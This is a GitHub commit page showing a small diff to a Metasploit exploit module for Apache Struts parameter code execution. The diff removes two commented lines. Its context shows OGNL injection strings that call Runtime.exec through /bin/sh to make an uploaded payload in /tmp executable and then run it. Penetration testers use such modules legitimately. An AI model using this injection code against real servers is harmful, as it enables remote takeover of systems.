We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 4edf526 commit 8027615Copy full SHA for 8027615
modules/exploits/multi/http/struts_code_exec_parameters.rb
@@ -96,13 +96,11 @@ def exploit
96
pl_exe = generate_payload_exe
97
chunk_length = 384
98
append = 'false'
99
-# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
100
#Now arch specific...
101
case target['Platform']
102
when 'linux'
103
chunk_length = 128 #Complains of a long filename if left default.
104
@payload_exe = "/tmp/#{@payload_exe}"
105
-# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
106
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
107
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
108
when 'java'
0 commit comments